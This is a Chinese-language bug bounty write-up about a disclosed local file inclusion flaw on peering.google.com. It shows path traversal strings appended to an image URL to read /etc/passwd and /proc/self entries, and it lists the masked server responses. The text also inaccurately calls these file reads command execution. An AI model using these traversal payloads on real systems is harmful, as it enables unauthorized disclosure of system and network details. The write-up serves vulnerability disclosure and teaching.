Googlepeering.google.com中的本地文件包含(LFI)漏洞

  • 2019 年 10 月 4 日
  • 筆記

眾所周知,本地文件包含漏洞(LFI)可以造成資訊泄露甚至入侵系統,即使其中的包含程式碼不具備執行許可權,但攻擊者也可以從中獲取一些深入滲透目標系統的有價值資訊。該篇Writeup講述的就是作者在Google某網路系統中發現的一個LFI漏洞,通過該漏洞可以獲取到大量的系統運行和配置資訊,存在嚴重的安全隱患,漏洞最終獲得Google$3133的獎勵。可見,大公司大廠商一樣會以低級錯誤方式出現這種高危漏洞。

漏洞影響

peering.google.com,Google Edge network,是Google分散式伺服器網路。其中存在LFI漏洞,可以通過它運行一些本地的系統命令,造成嚴重的資訊泄露。

漏洞復現

訪問 https://peering.google.com/;

然後訪問該網站中的任意一張圖片,如:

Open any picture in another window for example: 「https://peering.google.com/static/images/couch-ipad.png

之後,在該圖片鏈接末尾加入一些本地執行命令,如:

../../../../../../../etc/passwd           ../../../../../../../proc/self/cmdline           ../../../../../../../proc/self/stat           ../../../../../../../proc/self/status    ......

最終鏈接形如:

https://peering.google.com/static/images/couch-ipad.png../../../../../../../proc/self/cmdline

就是構造如此簡單的鏈接打開方式,我們就能從中執行上述本地系統命令,獲取到相應的系統運行和配置資訊。

復現示例

如要獲取系統伺服器和內核資訊,我們可以在上述圖片鏈接末尾加上../../../../../../../proc/version,最終伺服器響應回來的資訊如下:

Linux version 3.*.* #1 SMP

如要獲取伺服器文件系統資訊,我們可以在上述圖片鏈接末尾加上../../../../../../../proc/self/cmdline,最終伺服器響應回來的資訊如下:

server_software=Google App Engine/1.*.*

如要獲取系統內網資訊,我們可以在上述圖片鏈接末尾加上../../../../../../../proc/self/net/,最終伺服器響應回來的資訊如下:

apihost_address=169.*.*.253:* /server_address=169.*.*.2:*

如可以從../../../../../../../proc/self/stat中獲取一些系統的運行部署環境,如:

(python27g_runti)

另外,還可以從../../../../../../../proc/self/status中獲得一些系統運行進程和承載能力的關鍵資訊,為實施DoS攻擊作出輔助評估:

FDSize: 11, VmSize: 1134532 kB, VmRSS: 134860 kB, Threads: 17

影片驗證PoC

(需要影片嵌入):https://www.youtube.com/watch?time_continue=47&v=khvwTKJqcsg

*參考來源:updatelap,clouds編譯整理,轉載請註明來自FreeBuf.COM